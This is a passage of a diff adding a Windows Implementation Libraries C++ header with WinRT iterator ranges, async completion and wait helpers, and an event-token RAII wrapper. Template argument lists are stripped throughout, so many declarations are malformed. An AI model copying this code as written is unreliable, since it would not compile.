-1); + } + + iterable_iterator_nothrow end() + { + return iterable_iterator_nothrow(this, -1); + } + + private: + Microsoft::WRL::ComPtr> m_iterator; + // This state is shared by all iterator instances + // so use of one iterator can invalidate another's ability to dereference + // that is allowed for input iterators. + TSmart m_element; + HRESULT* m_result; + HRESULT m_resultStorage = S_OK; + }; + +#pragma endregion + +#ifdef WIL_ENABLE_EXCEPTIONS + template vector_range> get_range(ABI::Windows::Foundation::Collections::IVector *v) + { + return vector_range>(v); + } + + template vector_range> get_range(ABI::Windows::Foundation::Collections::IVectorView *v) + { + return vector_range>(v); + } +#endif // WIL_ENABLE_EXCEPTIONS + + template vector_range, err_failfast_policy> get_range_failfast(ABI::Windows::Foundation::Collections::IVector *v) + { + return vector_range, err_failfast_policy>(v); + } + + template vector_range, err_failfast_policy> get_range_failfast(ABI::Windows::Foundation::Collections::IVectorView *v) + { + return vector_range, err_failfast_policy>(v); + } + + template vector_range_nothrow> get_range_nothrow(ABI::Windows::Foundation::Collections::IVector *v, HRESULT* result = nullptr) + { + return vector_range_nothrow>(v, result); + } + + template vector_range_nothrow> get_range_nothrow(ABI::Windows::Foundation::Collections::IVectorView *v, HRESULT* result = nullptr) + { + return vector_range_nothrow>(v, result); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + template iterable_range get_range(ABI::Windows::Foundation::Collections::IIterable *v) + { + return iterable_range(v); + } +#endif // WIL_ENABLE_EXCEPTIONS + + template iterable_range get_range_failfast(ABI::Windows::Foundation::Collections::IIterable *v) + { + return iterable_range(v); + } + + template iterable_range_nothrow get_range_nothrow(ABI::Windows::Foundation::Collections::IIterable *v, HRESULT* result = nullptr) + { + return iterable_range_nothrow(v, result); + } +} + +#pragma endregion + +#ifdef WIL_ENABLE_EXCEPTIONS + +#pragma region Global operator functions +#if defined(MIDL_NS_PREFIX) || defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__) +namespace ABI { +#endif + namespace Windows { + namespace Foundation { + namespace Collections { + template typename wil::vector_range>::vector_iterator begin(IVector* v) + { + return typename wil::vector_range>::vector_iterator(v, 0); + } + + template typename wil::vector_range>::vector_iterator end(IVector* v) + { + unsigned int size; + THROW_IF_FAILED(v->get_Size(&size)); + return typename wil::vector_range>::vector_iterator(v, size); + } + + template typename wil::vector_range>::vector_iterator begin(IVectorView* v) + { + return typename wil::vector_range>::vector_iterator(v, 0); + } + + template typename wil::vector_range>::vector_iterator end(IVectorView* v) + { + unsigned int size; + THROW_IF_FAILED(v->get_Size(&size)); + return typename wil::vector_range>::vector_iterator(v, size); + } + + template typename wil::iterable_range::iterable_iterator begin(IIterable* i) + { + return typename wil::iterable_range::iterable_iterator(i); + } + + template typename wil::iterable_range::iterable_iterator end(IIterable*) + { + return typename wil::iterable_range::iterable_iterator(); + } + } // namespace Collections + } // namespace Foundation + } // namespace Windows +#if defined(MIDL_NS_PREFIX) || defined(____x_ABI_CWindows_CFoundation_CIClosable_FWD_DEFINED__) +} // namespace ABI +#endif + +#endif // WIL_ENABLE_EXCEPTIONS + +#pragma endregion + +namespace wil +{ +#pragma region WinRT Async API helpers + +/// @cond +namespace details +{ + template ::value, int>::type = 0> + HRESULT CallAndHandleErrorsWithReturnType(TFunc&& func, Args&&... args) + { + return wistd::forward(func)(wistd::forward(args)...); + } + +#ifdef WIL_ENABLE_EXCEPTIONS + template ::value, int>::type = 0> + HRESULT CallAndHandleErrorsWithReturnType(TFunc&& func, Args&&... args) + { + try + { + wistd::forward(func)(wistd::forward(args)...); + } + CATCH_RETURN(); + return S_OK; + } +#endif + + template + HRESULT CallAndHandleErrors(TFunc&& func, Args&&... args) + { + return CallAndHandleErrorsWithReturnType(func)(wistd::forward(args)...))>( + wistd::forward(func), wistd::forward(args)...); + } + + // Get the last type of a template parameter pack. + // usage: + // LastType::type boolValue; + template struct LastType + { + template struct LastTypeOfTs + { + typedef typename LastTypeOfTs::type type; + }; + + template struct LastTypeOfTs + { + typedef T type; + }; + + template + static typename LastTypeOfTs::type LastTypeOfTsFunc() {} + typedef decltype(LastTypeOfTsFunc()) type; + }; + + // Takes a member function that has an out param like F(..., IAsyncAction**) or F(..., IAsyncOperation**) + // and returns IAsyncAction* or IAsyncOperation*. + template + typename wistd::remove_pointer::type>::type GetReturnParamPointerType(HRESULT(STDMETHODCALLTYPE I::*)(P...)); + + // Use to determine the result type of the async action/operation interfaces or example + // decltype(GetAsyncResultType(action.get())) returns void + void GetAsyncResultType(ABI::Windows::Foundation::IAsyncAction*); + template void GetAsyncResultType(ABI::Windows::Foundation::IAsyncActionWithProgress

*); + template typename wil::details::MapAsyncOpResultType::type GetAsyncResultType(ABI::Windows::Foundation::IAsyncOperation*); + template typename wil::details::MapAsyncOpProgressResultType::type GetAsyncResultType(ABI::Windows::Foundation::IAsyncOperationWithProgress*); + + // Use to determine the result type of the async action/operation interfaces or example + // decltype(GetAsyncDelegateType(action.get())) returns void + ABI::Windows::Foundation::IAsyncActionCompletedHandler* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncAction*); + template ABI::Windows::Foundation::IAsyncActionWithProgressCompletedHandler

* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncActionWithProgress

*); + template ABI::Windows::Foundation::IAsyncOperationCompletedHandler* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncOperation*); + template ABI::Windows::Foundation::IAsyncOperationWithProgressCompletedHandler* GetAsyncDelegateType(ABI::Windows::Foundation::IAsyncOperationWithProgress*); + + template + HRESULT RunWhenCompleteAction(_In_ TIOperation operation, TFunction&& func) WI_NOEXCEPT + { + using namespace Microsoft::WRL; + typedef wistd::remove_pointer_t TIDelegate; + + auto callback = Callback, TIDelegate, TBaseAgility>>( + [func = wistd::forward(func)](TIOperation operation, ABI::Windows::Foundation::AsyncStatus status) mutable -> HRESULT + { + HRESULT hr = S_OK; + if (status != ABI::Windows::Foundation::AsyncStatus::Completed) // avoid a potentially costly marshaled QI / call if we completed successfully + { + ComPtr asyncInfo; + operation->QueryInterface(IID_PPV_ARGS(&asyncInfo)); // All must implement IAsyncInfo + asyncInfo->get_ErrorCode(&hr); + } + + return CallAndHandleErrors(func, hr); + }); + RETURN_IF_NULL_ALLOC(callback); + return operation->put_Completed(callback.Get()); + } + + template + HRESULT RunWhenComplete(_In_ TIOperation operation, TFunction&& func) WI_NOEXCEPT + { + using namespace Microsoft::WRL; + using namespace ABI::Windows::Foundation::Internal; + + typedef wistd::remove_pointer_t TIDelegate; + + auto callback = Callback, TIDelegate, TBaseAgility>>( + [func = wistd::forward(func)](TIOperation operation, ABI::Windows::Foundation::AsyncStatus status) mutable -> HRESULT + { + typename details::MapToSmartType::type::TResult_complex>::type>::type result; + + HRESULT hr = S_OK; + if (status == ABI::Windows::Foundation::AsyncStatus::Completed) + { + hr = operation->GetResults(result.GetAddressOf()); + } + else + { + // avoid a potentially costly marshaled QI / call if we completed successfully + ComPtr asyncInfo; + operation->QueryInterface(IID_PPV_ARGS(&asyncInfo)); // all must implement this + asyncInfo->get_ErrorCode(&hr); + } + + return CallAndHandleErrors(func, hr, result.Get()); + }); + RETURN_IF_NULL_ALLOC(callback); + return operation->put_Completed(callback.Get()); + } + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + template + HRESULT WaitForCompletion(_In_ TIOperation operation, COWAIT_FLAGS flags, DWORD timeoutValue, _Out_opt_ bool* timedOut) WI_NOEXCEPT + { + typedef wistd::remove_pointer_t TIDelegate; + + class CompletionDelegate : public Microsoft::WRL::RuntimeClass, + TIDelegate, Microsoft::WRL::FtmBase> + { + public: + HRESULT RuntimeClassInitialize() + { + RETURN_HR(m_completedEventHandle.create()); + } + + HRESULT STDMETHODCALLTYPE Invoke(_In_ TIOperation, ABI::Windows::Foundation::AsyncStatus status) override + { + m_status = status; + m_completedEventHandle.SetEvent(); + return S_OK; + } + + HANDLE GetEvent() const + { + return m_completedEventHandle.get(); + } + + ABI::Windows::Foundation::AsyncStatus GetStatus() const + { + return m_status; + } + + private: + volatile ABI::Windows::Foundation::AsyncStatus m_status = ABI::Windows::Foundation::AsyncStatus::Started; + wil::unique_event_nothrow m_completedEventHandle; + }; + + WI_ASSERT(timedOut || (timeoutValue == INFINITE)); + assign_to_opt_param(timedOut, false); + + Microsoft::WRL::ComPtr completedDelegate; + RETURN_IF_FAILED(Microsoft::WRL::MakeAndInitialize(&completedDelegate)); + RETURN_IF_FAILED(operation->put_Completed(completedDelegate.Get())); + + HANDLE handles[] = { completedDelegate->GetEvent() }; + DWORD dwHandleIndex; + HRESULT hr = CoWaitForMultipleHandles(flags, timeoutValue, ARRAYSIZE(handles), handles, &dwHandleIndex); + + // If the caller is listening for timedOut, and we actually timed out, set the bool and return S_OK. Otherwise, fail. + if (timedOut && (hr == RPC_S_CALLPENDING)) + { + *timedOut = true; + return S_OK; + } + RETURN_IF_FAILED(hr); + + if (completedDelegate->GetStatus() != ABI::Windows::Foundation::AsyncStatus::Completed) + { + Microsoft::WRL::ComPtr asyncInfo; + operation->QueryInterface(IID_PPV_ARGS(&asyncInfo)); // all must implement this + hr = E_UNEXPECTED; + asyncInfo->get_ErrorCode(&hr); // error return ignored, ok? + return hr; // leave it to the caller to log failures. + } + return S_OK; + } + + template + HRESULT WaitForCompletion(_In_ TIOperation operation, _Out_ TIResults result, COWAIT_FLAGS flags, + DWORD timeoutValue, _Out_opt_ bool* timedOut) WI_NOEXCEPT + { + RETURN_IF_FAILED_EXPECTED(details::WaitForCompletion(operation, flags, timeoutValue, timedOut)); + return operation->GetResults(result); + } +#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) +} +/// @endcond + +/** Set the completion callback for an async operation to run a caller provided function. +Once complete the function is called with the error code result of the operation +and the async operation result (if applicable). +The function parameter list must be (HRESULT hr) for actions, +(HRESULT hr, IResultInterface* object) for operations that produce interfaces, +and (HRESULT hr, TResult value) for operations that produce value types. +~~~ +run_when_complete(getFileOp.Get(), [](HRESULT hr, IStorageFile* file) -> void +{ + +}); +~~~ +for an agile callback use Microsoft::WRL::FtmBase +~~~ +run_when_complete(getFileOp.Get(), [](HRESULT hr, IStorageFile* file) -> void +{ + +}); +~~~ +Using the non throwing form: +~~~ +hr = run_when_complete_nothrow(getFileOp.Get(), [](HRESULT hr, IStorageFile* file) -> HRESULT +{ + +}); +~~~ +*/ + +//! Run a fuction when an async operation completes. Use Microsoft::WRL::FtmBase for TAgility to make the completion handler agile and run on the async thread. +template +HRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncAction* operation, TFunc&& func) WI_NOEXCEPT +{ + return details::RunWhenCompleteAction(operation, wistd::forward(func)); +} + +template::type> +HRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, TFunc&& func) WI_NOEXCEPT +{ + return details::RunWhenComplete(operation, wistd::forward(func)); +} + +template::type> +HRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, TFunc&& func) WI_NOEXCEPT +{ + return details::RunWhenComplete(operation, wistd::forward(func)); +} + +template +HRESULT run_when_complete_nothrow(_In_ ABI::Windows::Foundation::IAsyncActionWithProgress* operation, TFunc&& func) WI_NOEXCEPT +{ + return details::RunWhenCompleteAction(operation, wistd::forward(func)); +} + +#ifdef WIL_ENABLE_EXCEPTIONS +//! Run a fuction when an async operation completes. Use Microsoft::WRL::FtmBase for TAgility to make the completion handler agile and run on the async thread. +template +void run_when_complete(_In_ ABI::Windows::Foundation::IAsyncAction* operation, TFunc&& func) +{ + THROW_IF_FAILED((details::RunWhenCompleteAction(operation, wistd::forward(func)))); +} + +template::type> +void run_when_complete(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, TFunc&& func) +{ + THROW_IF_FAILED((details::RunWhenComplete(operation, wistd::forward(func)))); +} + +template::type> +void run_when_complete(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, TFunc&& func) +{ + THROW_IF_FAILED((details::RunWhenComplete(operation, wistd::forward(func)))); +} + +template +void run_when_complete(_In_ ABI::Windows::Foundation::IAsyncActionWithProgress* operation, TFunc&& func) +{ + THROW_IF_FAILED((details::RunWhenCompleteAction(operation, wistd::forward(func)))); +} +#endif + +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) +/** Wait for an asynchronous operation to complete (or be canceled). +Use to synchronously wait on async operations on background threads. +Do not call from UI threads or STA threads as reentrancy will result. +~~~ +ComPtr> op; +THROW_IF_FAILED(storageFileStatics->GetFileFromPathAsync(HStringReference(path).Get(), &op)); +auto file = wil::wait_for_completion(op.Get()); +~~~ +*/ +template +inline HRESULT wait_for_completion_nothrow(_In_ TAsync* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT +{ + return details::WaitForCompletion(operation, flags, INFINITE, nullptr); +} + +// These forms return the result from the async operation + +template +HRESULT wait_for_completion_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, + _Out_ typename wil::details::MapAsyncOpResultType::type* result, + COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT +{ + return details::WaitForCompletion(operation, result, flags, INFINITE, nullptr); +} + +template +HRESULT wait_for_completion_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, + _Out_ typename wil::details::MapAsyncOpProgressResultType::type* result, + COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT +{ + return details::WaitForCompletion(operation, result, flags, INFINITE, nullptr); +} + +// Same as above, but allows caller to specify a timeout value. +// On timeout, S_OK is returned, with timedOut set to true. + +template +inline HRESULT wait_for_completion_or_timeout_nothrow(_In_ TAsync* operation, + DWORD timeoutValue, _Out_ bool* timedOut, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT +{ + return details::WaitForCompletion(operation, flags, timeoutValue, timedOut); +} + +template +HRESULT wait_for_completion_or_timeout_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, + _Out_ typename wil::details::MapAsyncOpResultType::type* result, + DWORD timeoutValue, _Out_ bool* timedOut, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT +{ + return details::WaitForCompletion(operation, result, flags, timeoutValue, timedOut); +} + +template +HRESULT wait_for_completion_or_timeout_nothrow(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, + _Out_ typename wil::details::MapAsyncOpProgressResultType::type* result, + DWORD timeoutValue, _Out_ bool* timedOut, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) WI_NOEXCEPT +{ + return details::WaitForCompletion(operation, result, flags, timeoutValue, timedOut); +} + +#ifdef WIL_ENABLE_EXCEPTIONS +//! Wait for an asynchronous operation to complete (or be canceled). +template +inline void wait_for_completion(_In_ TAsync* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) +{ + THROW_IF_FAILED(details::WaitForCompletion(operation, flags, INFINITE, nullptr)); +} + +template ::type>::type> +TReturn +wait_for_completion(_In_ ABI::Windows::Foundation::IAsyncOperation* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) +{ + TReturn result; + THROW_IF_FAILED(details::WaitForCompletion(operation, result.GetAddressOf(), flags, INFINITE, nullptr)); + return result; +} + +template ::type>::type> +TReturn +wait_for_completion(_In_ ABI::Windows::Foundation::IAsyncOperationWithProgress* operation, COWAIT_FLAGS flags = COWAIT_DISPATCH_CALLS) +{ + TReturn result; + THROW_IF_FAILED(details::WaitForCompletion(operation, result.GetAddressOf(), flags, INFINITE, nullptr)); + return result; +} + +/** Similar to WaitForCompletion but this function encapsulates the creation of the async operation +making usage simpler. +~~~ +ComPtr launcher; // inited somewhere +auto result = call_and_wait_for_completion(launcher.Get(), &ILauncherStatics::LaunchUriAsync, uri.Get()); +~~~ +*/ +template +auto call_and_wait_for_completion(I* object, HRESULT(STDMETHODCALLTYPE I::*func)(P...), Args&&... args) +{ + Microsoft::WRL::ComPtr::type>::type>::type> op; + THROW_IF_FAILED((object->*func)(wistd::forward(args)..., &op)); + return wil::wait_for_completion(op.Get()); +} +#endif +#endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) + +#pragma endregion + +#pragma region WinRT object construction +#ifdef WIL_ENABLE_EXCEPTIONS +//! Get a WinRT activation factory object, usually using a IXXXStatics interface. +template +com_ptr GetActivationFactory(PCWSTR runtimeClass) +{ + com_ptr result; + THROW_IF_FAILED(RoGetActivationFactory(Microsoft::WRL::Wrappers::HStringReference(runtimeClass).Get(), IID_PPV_ARGS(&result))); + return result; +} + +//! Get a WinRT object. +template +com_ptr ActivateInstance(PCWSTR runtimeClass) +{ + com_ptr result; + THROW_IF_FAILED(RoActivateInstance(Microsoft::WRL::Wrappers::HStringReference(runtimeClass).Get(), &result)); + return result.query(); +} +#endif +#pragma endregion + +#pragma region Async production helpers + +/// @cond +namespace details +{ + template + class SyncAsyncOp WrlFinal : public Microsoft::WRL::RuntimeClass, + Microsoft::WRL::AsyncBase>> + { + // typedef typename MapToSmartType::type TSmart; + using RuntimeClassT = typename SyncAsyncOp::RuntimeClassT; + InspectableClass(__super::z_get_rc_name_impl(), TrustLevel::BaseTrust); + public: + HRESULT RuntimeClassInitialize(const TResult& op) + { + m_result = op; + return S_OK; + } + + IFACEMETHODIMP put_Completed(ABI::Windows::Foundation::IAsyncOperationCompletedHandler* competed) override + { + competed->Invoke(this, ABI::Windows::Foundation::AsyncStatus::Completed); + return S_OK; + } + + IFACEMETHODIMP get_Completed(ABI::Windows::Foundation::IAsyncOperationCompletedHandler** competed) override + { + *competed = nullptr; + return S_OK; + } + + IFACEMETHODIMP GetResults(TResult* result) override + { + *result = m_result; + return S_OK; + } + + HRESULT OnStart() override { return S_OK; } + void OnClose() override { } + void OnCancel() override { } + private: + // needs to be MapToSmartType::type to hold non trial types + TResult m_result; + }; + + extern const __declspec(selectany) wchar_t SyncAsyncActionName[] = L"SyncActionAction"; + + class SyncAsyncActionOp WrlFinal : public Microsoft::WRL::RuntimeClass +#endif + >> + { + InspectableClass(InterfaceName_Windows_Foundation_IAsyncAction, TrustLevel::BaseTrust); + public: + IFACEMETHODIMP put_Completed(ABI::Windows::Foundation::IAsyncActionCompletedHandler* competed) override + { + competed->Invoke(this, ABI::Windows::Foundation::AsyncStatus::Completed); + return S_OK; + } + + IFACEMETHODIMP get_Completed(ABI::Windows::Foundation::IAsyncActionCompletedHandler** competed) override + { + *competed = nullptr; + return S_OK; + } + + IFACEMETHODIMP GetResults() override + { + return S_OK; + } + + HRESULT OnStart() override { return S_OK; } + void OnClose() override { } + void OnCancel() override { } + }; +} + +/// @endcond +//! Creates a WinRT async operation object that implements IAsyncOperation. Use mostly for testing and for mocking APIs. +template +HRESULT make_synchronous_async_operation_nothrow(ABI::Windows::Foundation::IAsyncOperation** result, const TResult& value) +{ + return Microsoft::WRL::MakeAndInitialize>(result, value); +} + +//! Creates a WinRT async operation object that implements IAsyncAction. Use mostly for testing and for mocking APIs. +inline HRESULT make_synchronous_async_action_nothrow(ABI::Windows::Foundation::IAsyncAction** result) +{ + return Microsoft::WRL::MakeAndInitialize(result); +} + +#ifdef WIL_ENABLE_EXCEPTIONS +//! Creates a WinRT async operation object that implements IAsyncOperation. Use mostly for testing and for mocking APIs. +// TODO: map TRealResult and TSmartResult into SyncAsyncOp. +template ::type, typename TSmartResult = typename details::MapToSmartType::type> +void make_synchronous_async_operation(ABI::Windows::Foundation::IAsyncOperation** result, const TResult& value) +{ + THROW_IF_FAILED((Microsoft::WRL::MakeAndInitialize>(result, value))); +} + +//! Creates a WinRT async operation object that implements IAsyncAction. Use mostly for testing and for mocking APIs. +inline void make_synchronous_async_action(ABI::Windows::Foundation::IAsyncAction** result) +{ + THROW_IF_FAILED((Microsoft::WRL::MakeAndInitialize(result))); +} +#endif +#pragma endregion + +#pragma region EventRegistrationToken RAII wrapper + +// unique_winrt_event_token[_cx] is an RAII wrapper around EventRegistrationToken. When the unique_winrt_event_token[_cx] is +// destroyed, the event is automatically unregistered. Declare a wil::unique_winrt_event_token[_cx] at the scope the event +// should be registered for (often they are tied to object lifetime), where T is the type of the event sender +// wil::unique_winrt_event_token_cx m_token; +// +// Macros have been defined to register for handling the event and then returning an unique_winrt_event_token[_cx]. These +// macros simply hide the function references for adding and removing the event. +// C++/CX m_token = WI_MakeUniqueWinRtEventTokenCx(ExampleEventName, sender, handler); +// ABI m_token = WI_MakeUniqueWinRtEventToken(ExampleEventName, sender, handler, &m_token); // Exception and failfast +// ABI RETURN_IF_FAILED(WI_MakeUniqueWinRtEventTokenNoThrow(ExampleEventName, sender, handler, &m_token)); // No throw variant +// +// When the wrapper is destroyed, the handler will be unregistered. You can explicitly unregister the handler prior. +// m_token.reset(); +// +// You can release the EventRegistrationToken from being managed by the wrapper by calling .release() +// m_token.release(); // DANGER: no longer being managed +// +// If you just need the value of the EventRegistrationToken you can call .get() +// m_token.get(); +// +// See "onecore\shell\tests\wil\UniqueWinRTEventTokenTests.cpp" for more examples of usage in ABI and C++/CX. + +#ifdef __cplusplus_winrt +namespace details +{ + template struct remove_reference { typedef T type; }; + template struct remove_reference { typedef T type; }; +} + +template +class unique_winrt_event_token_cx +{ + using removal_func = void(T::*)(Windows::Foundation::EventRegistrationToken); + using static_removal_func = void(__cdecl *)(Windows::Foundation::EventRegistrationToken); + +public: + unique_winrt_event_token_cx() = default; + + unique_winrt_event_token_cx(Windows::Foundation::EventRegistrationToken token, T^ sender, removal_func removalFunction) WI_NOEXCEPT : + m_token(token), + m_weakSender(sender), + m_removalFunction(removalFunction) + {} + + unique_winrt_event_token_cx(Windows::Foundation::EventRegistrationToken token, static_removal_func removalFunction) WI_NOEXCEPT : + m_token(token), + m_staticRemovalFunction(removalFunction) + {} + + unique_winrt_event_token_cx(const unique_winrt_event_token_cx&) = delete; + unique_winrt_event_token_cx& operator=(const unique_winrt_event_token_cx&) = delete; + + unique_winrt_event_token_cx(unique_winrt_event_token_cx&& other) WI_NOEXCEPT : + m_token(other.m_token), + m_weakSender(wistd::move(other.m_weakSender)), + m_removalFunction(other.m_removalFunction), + m_staticRemovalFunction(other.m_staticRemovalFunction) + { + other.m_token = {}; + other.m_weakSender = nullptr; + other.m_removalFunction = nullptr; + other.m_staticRemovalFunction = nullptr; + } + + unique_winrt_event_token_cx& operator=(unique_winrt_event_token_cx&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + + wistd::swap_wil(m_token, other.m_token); + wistd::swap_wil(m_weakSender, other.m_weakSender); + wistd::swap_wil(m_removalFunction, other.m_removalFunction); + wistd::swap_wil(m_staticRemovalFunction, other.m_staticRemovalFunction); + } + + return *this; + } + + ~unique_winrt_event_token_cx() WI_NOEXCEPT + { + reset(); + } + + explicit operator bool() const WI_NOEXCEPT + { + return (m_token.Value != 0); + } + + Windows::Foundation::EventRegistrationToken get() const WI_NOEXCEPT + { + return m_token; + } + + void reset() noexcept + { + if (m_token.Value != 0) + { + if (m_staticRemovalFunction) + { + (*m_staticRemovalFunction)(m_token); + } + else + { + auto resolvedSender = m_weakSender.Resolve(); + if (resolvedSender) + { + (resolvedSender->*m_removalFunction)(m_token); + } + } + release(); + } + } + + // Stops the wrapper from managing resource and returns the EventRegistrationToken. + Windows::Foundation::EventRegistrationToken release() WI_NOEXCEPT + { + auto token = m_token; + m_token = {}; + m_weakSender = nullptr; + m_removalFunction = nullptr; + m_staticRemovalFunction = nullptr; + return token; + } + +private: + Windows::Foundation::EventRegistrationToken m_token = {}; + Platform::WeakReference m_weakSender; + removal_func m_removalFunction = nullptr; + static_removal_func m_staticRemovalFunction = nullptr; +}; + +#endif + +template +class unique_winrt_event_token +{ + using removal_func = HRESULT(__stdcall T::*)(::EventRegistrationToken); + +public: + unique_winrt_event_token() = default; + + unique_winrt_event_token(::EventRegistrationToken token, T* sender, removal_func removalFunction) WI_NOEXCEPT : + m_token(token), + m_removalFunction(removalFunction) + { + m_weakSender = wil::com_weak_query_failfast(sender); + } + + unique_winrt_event_token(const unique_winrt_event_token&) = delete; + unique_winrt_event_token& operator=(const unique_winrt_event_token&) = delete; + + unique_winrt_event_token(unique_winrt_event_token&& other) WI_NOEXCEPT : + m_token(other.m_token), + m_weakSender(wistd::move(other.m_weakSender)), + m_removalFunction(other.m_removalFunction) + { + other.m_token = {}; + other.m_removalFunction = nullptr; + } + + unique_winrt_event_token& operator=(unique_winrt_event_token&& other) WI_NOEXCEPT + { + if (this != wistd::addressof(other)) + { + reset(); + + wistd::swap_wil(m_token, other.m_token); + wistd::swap_wil(m_weakSender, other.m_weakSender); + wistd::swap_wil(m_removalFunction, other.m_removalFunction); + } + + return *this; + } + + ~unique_winrt_event_token() WI_NOEXCEPT + { + reset(); + } + + explicit operator bool() const WI_NOEXCEPT + { + return (m_token.value != 0); + } + + ::EventRegistrationToken get() const WI_NOEXCEPT + { + return m_token; + } + + void reset() WI_NOEXCEPT + { + if (m_token.value != 0) + { + // If T cannot be QI'ed from the weak object then T is not a COM interface. + auto resolvedSender = m_weakSender.try_query(); + if (resolvedSender) + { + FAIL_FAST_IF_FAILED((resolvedSender.get()->*m_removalFunction)(m_token)); + } + release(); + } + } + + // Stops the wrapper from managing resource and returns the EventRegistrationToken. + ::EventRegistrationToken release() WI_NOEXCEPT + { + auto token = m_token; + m_token = {}; + m_weakSender = nullptr; + m_removalFunction = nullptr; + return token; + } + +private: + ::EventRegistrationToken m_token = {}; + wil::com_weak_ref_failfast m_weakSender; + removal_func m_removalFunction = nullptr; +}; + +namespace details +{ +#ifdef __cplusplus_winrt + + // Handles registration of the event handler to the subscribing object and then wraps the EventRegistrationToken in unique_winrt_event_token. + // Not intended to be directly called. Use the WI_MakeUniqueWinRtEventTokenCx macro to abstract away specifying the functions that handle addition and removal. + template + inline wil::unique_winrt_event_token_cx make_unique_winrt_event_token_cx(T^ sender, addition_func additionFunc, removal_func removalFunc, handler^ h) + { + auto rawToken = (sender->*additionFunc)(h); + wil::unique_winrt_event_token_cx temp(rawToken, sender, removalFunc); + return temp; + } + + template + inline wil::unique_winrt_event_token_cx make_unique_winrt_static_event_token_cx(addition_func additionFunc, removal_func removalFunc, handler^ h) + { + auto rawToken = (*additionFunc)(h); + wil::unique_winrt_event_token_cx temp(rawToken, removalFunc); + return temp; + } + +#endif // __cplusplus_winrt + + // Handles registration of the event handler to the subscribing object and then wraps the EventRegistrationToken in unique_winrt_event_token. + // Not intended to be directly called. Use the WI_MakeUniqueWinRtEventToken macro to abstract away specifying the functions that handle addition and removal. + template + inline auto make_unique_winrt_event_token(T* sender, addition_func additionFunc, removal_func removalFunc, handler h, wil::unique_winrt_event_token* token_reference) + { + ::EventRegistrationToken rawToken; + err_policy::HResult((sender->*additionFunc)(h, &rawToken)); + *token_reference = wil::unique_winrt_event_token(rawToken, sender, removalFunc); + return err_policy::OK(); + } + + // Overload make function to allow for returning the constructed object when not using HRESULT based code. + template + inline typename wistd::enable_if::value, wil::unique_winrt_event_token>::type + make_unique_winrt_event_token(T* sender, addition_func additionFunc, removal_func removalFunc, handler h) + { + ::EventRegistrationToken rawToken; + err_policy::HResult((sender->*additionFunc)(h, &rawToken)); + return wil::unique_winrt_event_token(rawToken, sender, removalFunc); + } + +} // namespace details + +// Helper macros to abstract function names for event addition and removal. +#ifdef __cplusplus_winrt + +#define WI_MakeUniqueWinRtEventTokenCx(_event, _object, _handler) \ + wil::details::make_unique_winrt_event_token_cx( \ + _object, \ + &wil::details::remove_reference::type::##_event##::add, \ + &wil::details::remove_reference::type::##_event##::remove, \ + _handler) + +#define WI_MakeUniqueWinRtStaticEventTokenCx(_event, _baseType, _handler) \ + wil::details::make_unique_winrt_static_event_token_cx<_baseType>( \ + &##_baseType##::##_event##::add, \ + &##_baseType##::##_event##::remove, \ + _handler) + +#endif // __cplusplus_winrt + +#ifdef WIL_ENABLE_EXCEPTIONS + +#define WI_MakeUniqueWinRtEventToken(_event, _object, _handler) \ + wil::details::make_unique_winrt_event_token( \ + _object, \ + &wistd::remove_pointer::type::add_##_event, \ + &wistd::remove_pointer::type::remove_##_event, \ + _handler) + +#endif // WIL_ENABLE_EXCEPTIONS + +#define WI_MakeUniqueWinRtEventTokenNoThrow(_event, _object, _handler, _token_reference) \ + wil::details::make_unique_winrt_event_token( \ + _object, \ + &wistd::remove_pointer::type::add_##_event, \ + &wistd::remove_pointer::type::remove_##_event, \ + _handler, \ + _token_reference) + +#define WI_MakeUniqueWinRtEventTokenFailFast(_event, _object, _handler) \ + wil::details::make_unique_winrt_event_token( \ + _object, \ + &wistd::remove_pointer::type::add_##_event, \ + &wistd::remove_pointer::type::remove_##_event, \ + _handler) + +#pragma endregion // EventRegistrationToken RAII wrapper + +} // namespace wil + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) + +template <> +struct ABI::Windows::Foundation::IAsyncOperation : + ABI::Windows::Foundation::IAsyncOperation_impl +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperation"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationWithProgress : + ABI::Windows::Foundation::IAsyncOperationWithProgress_impl +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperationWithProgress"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperation*> : + ABI::Windows::Foundation::IAsyncOperation_impl*> +{ + static const wchar_t* z_get_rc_name_impl() + { + return L"IAsyncOperation*>"; + } +}; + +template +struct ABI::Windows::Foundation::IAsyncOperationWithProgress*, P> : + 